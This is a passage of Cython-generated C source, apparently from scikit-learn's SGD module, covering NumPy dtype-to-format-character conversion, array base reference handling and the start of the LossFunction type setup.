(__pyx_t_7) {\n        (__pyx_v_f[0]) = 104;\n        goto __pyx_L13;\n      }\n\n      /* \"numpy.pxd\":829\n *             elif t == NPY_UBYTE:       f[0] =  66 #\"B\"\n *             elif t == NPY_SHORT:       f[0] = 104 #\"h\"\n *             elif t == NPY_USHORT:      f[0] =  72 #\"H\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_INT:         f[0] = 105 #\"i\"\n *             elif t == NPY_UINT:        f[0] =  73 #\"I\"\n */\n      __pyx_t_5 = PyInt_FromLong(NPY_USHORT); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 829; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __pyx_t_3 = PyObject_RichCompare(__pyx_v_t, __pyx_t_5, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 829; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_7 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 829; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      if (__pyx_t_7) {\n        (__pyx_v_f[0]) = 72;\n        goto __pyx_L13;\n      }\n\n      /* \"numpy.pxd\":830\n *             elif t == NPY_SHORT:       f[0] = 104 #\"h\"\n *             elif t == NPY_USHORT:      f[0] =  72 #\"H\"\n *             elif t == NPY_INT:         f[0] = 105 #\"i\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_UINT:        f[0] =  73 #\"I\"\n *             elif t == NPY_LONG:        f[0] = 108 #\"l\"\n */\n      __pyx_t_3 = PyInt_FromLong(NPY_INT); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 830; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_5 = PyObject_RichCompare(__pyx_v_t, __pyx_t_3, Py_EQ); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 830; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_7 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 830; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      if (__pyx_t_7) {\n        (__pyx_v_f[0]) = 105;\n        goto __pyx_L13;\n      }\n\n      /* \"numpy.pxd\":831\n *             elif t == NPY_USHORT:      f[0] =  72 #\"H\"\n *             elif t == NPY_INT:         f[0] = 105 #\"i\"\n *             elif t == NPY_UINT:        f[0] =  73 #\"I\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_LONG:        f[0] = 108 #\"l\"\n *             elif t == NPY_ULONG:       f[0] = 76  #\"L\"\n */\n      __pyx_t_5 = PyInt_FromLong(NPY_UINT); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 831; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __pyx_t_3 = PyObject_RichCompare(__pyx_v_t, __pyx_t_5, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 831; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_7 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 831; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      if (__pyx_t_7) {\n        (__pyx_v_f[0]) = 73;\n        goto __pyx_L13;\n      }\n\n      /* \"numpy.pxd\":832\n *             elif t == NPY_INT:         f[0] = 105 #\"i\"\n *             elif t == NPY_UINT:        f[0] =  73 #\"I\"\n *             elif t == NPY_LONG:        f[0] = 108 #\"l\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_ULONG:       f[0] = 76  #\"L\"\n *             elif t == NPY_LONGLONG:    f[0] = 113 #\"q\"\n */\n      __pyx_t_3 = PyInt_FromLong(NPY_LONG); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 832; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_5 = PyObject_RichCompare(__pyx_v_t, __pyx_t_3, Py_EQ); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 832; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_7 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 832; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      if (__pyx_t_7) {\n        (__pyx_v_f[0]) = 108;\n        goto __pyx_L13;\n      }\n\n      /* \"numpy.pxd\":833\n *             elif t == NPY_UINT:        f[0] =  73 #\"I\"\n *             elif t == NPY_LONG:        f[0] = 108 #\"l\"\n *             elif t == NPY_ULONG:       f[0] = 76  #\"L\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_LONGLONG:    f[0] = 113 #\"q\"\n *             elif t == NPY_ULONGLONG:   f[0] = 81  #\"Q\"\n */\n      __pyx_t_5 = PyInt_FromLong(NPY_ULONG); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 833; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __pyx_t_3 = PyObject_RichCompare(__pyx_v_t, __pyx_t_5, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 833; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_7 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 833; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      if (__pyx_t_7) {\n        (__pyx_v_f[0]) = 76;\n        goto __pyx_L13;\n      }\n\n      /* \"numpy.pxd\":834\n *             elif t == NPY_LONG:        f[0] = 108 #\"l\"\n *             elif t == NPY_ULONG:       f[0] = 76  #\"L\"\n *             elif t == NPY_LONGLONG:    f[0] = 113 #\"q\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_ULONGLONG:   f[0] = 81  #\"Q\"\n *             elif t == NPY_FLOAT:       f[0] = 102 #\"f\"\n */\n      __pyx_t_3 = PyInt_FromLong(NPY_LONGLONG); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 834; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_5 = PyObject_RichCompare(__pyx_v_t, __pyx_t_3, Py_EQ); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 834; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_7 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 834; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      if (__pyx_t_7) {\n        (__pyx_v_f[0]) = 113;\n        goto __pyx_L13;\n      }\n\n      /* \"numpy.pxd\":835\n *             elif t == NPY_ULONG:       f[0] = 76  #\"L\"\n *             elif t == NPY_LONGLONG:    f[0] = 113 #\"q\"\n *             elif t == NPY_ULONGLONG:   f[0] = 81  #\"Q\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_FLOAT:       f[0] = 102 #\"f\"\n *             elif t == NPY_DOUBLE:      f[0] = 100 #\"d\"\n */\n      __pyx_t_5 = PyInt_FromLong(NPY_ULONGLONG); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 835; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __pyx_t_3 = PyObject_RichCompare(__pyx_v_t, __pyx_t_5, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 835; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_7 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 835; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      if (__pyx_t_7) {\n        (__pyx_v_f[0]) = 81;\n        goto __pyx_L13;\n      }\n\n      /* \"numpy.pxd\":836\n *             elif t == NPY_LONGLONG:    f[0] = 113 #\"q\"\n *             elif t == NPY_ULONGLONG:   f[0] = 81  #\"Q\"\n *             elif t == NPY_FLOAT:       f[0] = 102 #\"f\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_DOUBLE:      f[0] = 100 #\"d\"\n *             elif t == NPY_LONGDOUBLE:  f[0] = 103 #\"g\"\n */\n      __pyx_t_3 = PyInt_FromLong(NPY_FLOAT); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 836; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_5 = PyObject_RichCompare(__pyx_v_t, __pyx_t_3, Py_EQ); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 836; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_7 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 836; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      if (__pyx_t_7) {\n        (__pyx_v_f[0]) = 102;\n        goto __pyx_L13;\n      }\n\n      /* \"numpy.pxd\":837\n *             elif t == NPY_ULONGLONG:   f[0] = 81  #\"Q\"\n *             elif t == NPY_FLOAT:       f[0] = 102 #\"f\"\n *             elif t == NPY_DOUBLE:      f[0] = 100 #\"d\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_LONGDOUBLE:  f[0] = 103 #\"g\"\n *             elif t == NPY_CFLOAT:      f[0] = 90; f[1] = 102; f += 1 # Zf\n */\n      __pyx_t_5 = PyInt_FromLong(NPY_DOUBLE); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 837; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __pyx_t_3 = PyObject_RichCompare(__pyx_v_t, __pyx_t_5, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 837; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_7 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 837; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      if (__pyx_t_7) {\n        (__pyx_v_f[0]) = 100;\n        goto __pyx_L13;\n      }\n\n      /* \"numpy.pxd\":838\n *             elif t == NPY_FLOAT:       f[0] = 102 #\"f\"\n *             elif t == NPY_DOUBLE:      f[0] = 100 #\"d\"\n *             elif t == NPY_LONGDOUBLE:  f[0] = 103 #\"g\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_CFLOAT:      f[0] = 90; f[1] = 102; f += 1 # Zf\n *             elif t == NPY_CDOUBLE:     f[0] = 90; f[1] = 100; f += 1 # Zd\n */\n      __pyx_t_3 = PyInt_FromLong(NPY_LONGDOUBLE); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 838; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_5 = PyObject_RichCompare(__pyx_v_t, __pyx_t_3, Py_EQ); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 838; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_7 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 838; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      if (__pyx_t_7) {\n        (__pyx_v_f[0]) = 103;\n        goto __pyx_L13;\n      }\n\n      /* \"numpy.pxd\":839\n *             elif t == NPY_DOUBLE:      f[0] = 100 #\"d\"\n *             elif t == NPY_LONGDOUBLE:  f[0] = 103 #\"g\"\n *             elif t == NPY_CFLOAT:      f[0] = 90; f[1] = 102; f += 1 # Zf             # <<<<<<<<<<<<<<\n *             elif t == NPY_CDOUBLE:     f[0] = 90; f[1] = 100; f += 1 # Zd\n *             elif t == NPY_CLONGDOUBLE: f[0] = 90; f[1] = 103; f += 1 # Zg\n */\n      __pyx_t_5 = PyInt_FromLong(NPY_CFLOAT); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 839; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __pyx_t_3 = PyObject_RichCompare(__pyx_v_t, __pyx_t_5, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 839; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_7 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 839; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      if (__pyx_t_7) {\n        (__pyx_v_f[0]) = 90;\n        (__pyx_v_f[1]) = 102;\n        __pyx_v_f = (__pyx_v_f + 1);\n        goto __pyx_L13;\n      }\n\n      /* \"numpy.pxd\":840\n *             elif t == NPY_LONGDOUBLE:  f[0] = 103 #\"g\"\n *             elif t == NPY_CFLOAT:      f[0] = 90; f[1] = 102; f += 1 # Zf\n *             elif t == NPY_CDOUBLE:     f[0] = 90; f[1] = 100; f += 1 # Zd             # <<<<<<<<<<<<<<\n *             elif t == NPY_CLONGDOUBLE: f[0] = 90; f[1] = 103; f += 1 # Zg\n *             elif t == NPY_OBJECT:      f[0] = 79 #\"O\"\n */\n      __pyx_t_3 = PyInt_FromLong(NPY_CDOUBLE); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 840; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_5 = PyObject_RichCompare(__pyx_v_t, __pyx_t_3, Py_EQ); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 840; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_7 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 840; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      if (__pyx_t_7) {\n        (__pyx_v_f[0]) = 90;\n        (__pyx_v_f[1]) = 100;\n        __pyx_v_f = (__pyx_v_f + 1);\n        goto __pyx_L13;\n      }\n\n      /* \"numpy.pxd\":841\n *             elif t == NPY_CFLOAT:      f[0] = 90; f[1] = 102; f += 1 # Zf\n *             elif t == NPY_CDOUBLE:     f[0] = 90; f[1] = 100; f += 1 # Zd\n *             elif t == NPY_CLONGDOUBLE: f[0] = 90; f[1] = 103; f += 1 # Zg             # <<<<<<<<<<<<<<\n *             elif t == NPY_OBJECT:      f[0] = 79 #\"O\"\n *             else:\n */\n      __pyx_t_5 = PyInt_FromLong(NPY_CLONGDOUBLE); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 841; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __pyx_t_3 = PyObject_RichCompare(__pyx_v_t, __pyx_t_5, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 841; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_7 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 841; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      if (__pyx_t_7) {\n        (__pyx_v_f[0]) = 90;\n        (__pyx_v_f[1]) = 103;\n        __pyx_v_f = (__pyx_v_f + 1);\n        goto __pyx_L13;\n      }\n\n      /* \"numpy.pxd\":842\n *             elif t == NPY_CDOUBLE:     f[0] = 90; f[1] = 100; f += 1 # Zd\n *             elif t == NPY_CLONGDOUBLE: f[0] = 90; f[1] = 103; f += 1 # Zg\n *             elif t == NPY_OBJECT:      f[0] = 79 #\"O\"             # <<<<<<<<<<<<<<\n *             else:\n *                 raise ValueError(u\"unknown dtype code in numpy.pxd (%d)\" % t)\n */\n      __pyx_t_3 = PyInt_FromLong(NPY_OBJECT); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 842; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_5 = PyObject_RichCompare(__pyx_v_t, __pyx_t_3, Py_EQ); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 842; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_7 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 842; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      if (__pyx_t_7) {\n        (__pyx_v_f[0]) = 79;\n        goto __pyx_L13;\n      }\n      /*else*/ {\n\n        /* \"numpy.pxd\":844\n *             elif t == NPY_OBJECT:      f[0] = 79 #\"O\"\n *             else:\n *                 raise ValueError(u\"unknown dtype code in numpy.pxd (%d)\" % t)             # <<<<<<<<<<<<<<\n *             f += 1\n *         else:\n */\n        __pyx_t_5 = PyNumber_Remainder(((PyObject *)__pyx_kp_u_12), __pyx_v_t); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 844; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n        __Pyx_GOTREF(((PyObject *)__pyx_t_5));\n        __pyx_t_3 = PyTuple_New(1); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 844; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n        __Pyx_GOTREF(__pyx_t_3);\n        PyTuple_SET_ITEM(__pyx_t_3, 0, ((PyObject *)__pyx_t_5));\n        __Pyx_GIVEREF(((PyObject *)__pyx_t_5));\n        __pyx_t_5 = 0;\n        __pyx_t_5 = PyObject_Call(__pyx_builtin_ValueError, ((PyObject *)__pyx_t_3), NULL); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 844; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n        __Pyx_GOTREF(__pyx_t_5);\n        __Pyx_DECREF(((PyObject *)__pyx_t_3)); __pyx_t_3 = 0;\n        __Pyx_Raise(__pyx_t_5, 0, 0, 0);\n        __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n        {__pyx_filename = __pyx_f[1]; __pyx_lineno = 844; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      }\n      __pyx_L13:;\n\n      /* \"numpy.pxd\":845\n *             else:\n *                 raise ValueError(u\"unknown dtype code in numpy.pxd (%d)\" % t)\n *             f += 1             # <<<<<<<<<<<<<<\n *         else:\n *             # Cython ignores struct boundary information (\"T{...}\"),\n */\n      __pyx_v_f = (__pyx_v_f + 1);\n      goto __pyx_L11;\n    }\n    /*else*/ {\n\n      /* \"numpy.pxd\":849\n *             # Cython ignores struct boundary information (\"T{...}\"),\n *             # so don't output it\n *             f = _util_dtypestring(child, f, end, offset)             # <<<<<<<<<<<<<<\n *     return f\n * \n */\n      __pyx_t_12 = __pyx_f_5numpy__util_dtypestring(__pyx_v_child, __pyx_v_f, __pyx_v_end, __pyx_v_offset); if (unlikely(__pyx_t_12 == NULL)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 849; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __pyx_v_f = __pyx_t_12;\n    }\n    __pyx_L11:;\n  }\n  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n\n  /* \"numpy.pxd\":850\n *             # so don't output it\n *             f = _util_dtypestring(child, f, end, offset)\n *     return f             # <<<<<<<<<<<<<<\n * \n * \n */\n  __pyx_r = __pyx_v_f;\n  goto __pyx_L0;\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_XDECREF(__pyx_t_5);\n  __Pyx_AddTraceback(\"numpy._util_dtypestring\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XDECREF((PyObject *)__pyx_v_child);\n  __Pyx_XDECREF(__pyx_v_fields);\n  __Pyx_XDECREF(__pyx_v_childname);\n  __Pyx_XDECREF(__pyx_v_new_offset);\n  __Pyx_XDECREF(__pyx_v_t);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"numpy.pxd\":965\n * \n * \n * cdef inline void set_array_base(ndarray arr, object base):             # <<<<<<<<<<<<<<\n *      cdef PyObject* baseptr\n *      if base is None:\n */\n\nstatic CYTHON_INLINE void __pyx_f_5numpy_set_array_base(PyArrayObject *__pyx_v_arr, PyObject *__pyx_v_base) {\n  PyObject *__pyx_v_baseptr;\n  __Pyx_RefNannyDeclarations\n  int __pyx_t_1;\n  __Pyx_RefNannySetupContext(\"set_array_base\", 0);\n\n  /* \"numpy.pxd\":967\n * cdef inline void set_array_base(ndarray arr, object base):\n *      cdef PyObject* baseptr\n *      if base is None:             # <<<<<<<<<<<<<<\n *          baseptr = NULL\n *      else:\n */\n  __pyx_t_1 = (__pyx_v_base == Py_None);\n  if (__pyx_t_1) {\n\n    /* \"numpy.pxd\":968\n *      cdef PyObject* baseptr\n *      if base is None:\n *          baseptr = NULL             # <<<<<<<<<<<<<<\n *      else:\n *          Py_INCREF(base) # important to do this before decref below!\n */\n    __pyx_v_baseptr = NULL;\n    goto __pyx_L3;\n  }\n  /*else*/ {\n\n    /* \"numpy.pxd\":970\n *          baseptr = NULL\n *      else:\n *          Py_INCREF(base) # important to do this before decref below!             # <<<<<<<<<<<<<<\n *          baseptr = <PyObject*>base\n *      Py_XDECREF(arr.base)\n */\n    Py_INCREF(__pyx_v_base);\n\n    /* \"numpy.pxd\":971\n *      else:\n *          Py_INCREF(base) # important to do this before decref below!\n *          baseptr = <PyObject*>base             # <<<<<<<<<<<<<<\n *      Py_XDECREF(arr.base)\n *      arr.base = baseptr\n */\n    __pyx_v_baseptr = ((PyObject *)__pyx_v_base);\n  }\n  __pyx_L3:;\n\n  /* \"numpy.pxd\":972\n *          Py_INCREF(base) # important to do this before decref below!\n *          baseptr = <PyObject*>base\n *      Py_XDECREF(arr.base)             # <<<<<<<<<<<<<<\n *      arr.base = baseptr\n * \n */\n  Py_XDECREF(__pyx_v_arr->base);\n\n  /* \"numpy.pxd\":973\n *          baseptr = <PyObject*>base\n *      Py_XDECREF(arr.base)\n *      arr.base = baseptr             # <<<<<<<<<<<<<<\n * \n * cdef inline object get_array_base(ndarray arr):\n */\n  __pyx_v_arr->base = __pyx_v_baseptr;\n\n  __Pyx_RefNannyFinishContext();\n}\n\n/* \"numpy.pxd\":975\n *      arr.base = baseptr\n * \n * cdef inline object get_array_base(ndarray arr):             # <<<<<<<<<<<<<<\n *     if arr.base is NULL:\n *         return None\n */\n\nstatic CYTHON_INLINE PyObject *__pyx_f_5numpy_get_array_base(PyArrayObject *__pyx_v_arr) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  int __pyx_t_1;\n  __Pyx_RefNannySetupContext(\"get_array_base\", 0);\n\n  /* \"numpy.pxd\":976\n * \n * cdef inline object get_array_base(ndarray arr):\n *     if arr.base is NULL:             # <<<<<<<<<<<<<<\n *         return None\n *     else:\n */\n  __pyx_t_1 = (__pyx_v_arr->base == NULL);\n  if (__pyx_t_1) {\n\n    /* \"numpy.pxd\":977\n * cdef inline object get_array_base(ndarray arr):\n *     if arr.base is NULL:\n *         return None             # <<<<<<<<<<<<<<\n *     else:\n *         return <object>arr.base\n */\n    __Pyx_XDECREF(__pyx_r);\n    __Pyx_INCREF(Py_None);\n    __pyx_r = Py_None;\n    goto __pyx_L0;\n    goto __pyx_L3;\n  }\n  /*else*/ {\n\n    /* \"numpy.pxd\":979\n *         return None\n *     else:\n *         return <object>arr.base             # <<<<<<<<<<<<<<\n */\n    __Pyx_XDECREF(__pyx_r);\n    __Pyx_INCREF(((PyObject *)__pyx_v_arr->base));\n    __pyx_r = ((PyObject *)__pyx_v_arr->base);\n    goto __pyx_L0;\n  }\n  __pyx_L3:;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\nstatic struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_LossFunction __pyx_vtable_7sklearn_12linear_model_8sgd_fast_LossFunction;\n\nstatic PyObject *__pyx_tp_new_7sklearn_12linear_model_8sgd_fast_LossFunction(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) {\n  struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *p;\n  PyObject *o = (*t->tp_alloc)(t, 0);\n  if (!o) return 0;\n  p = ((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *)o);\n  p->__pyx_vtab = __pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_LossFunction;\n  return o;\n}\n\nstatic void __pyx_tp_dealloc_7sklearn_12linear_model_8sgd_fast_LossFunction(PyObject *o) {\n  (*Py_TYPE(o)->tp_free)(o);\n}\n\nstatic PyMethodDef __pyx_methods_7sklearn_12linear_model_8sgd_fast_LossFunction[] = {\n  {__Pyx_NAMESTR(\"loss\"), (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_12LossFunction_1loss, METH_VARARGS|METH_KEYWORDS, 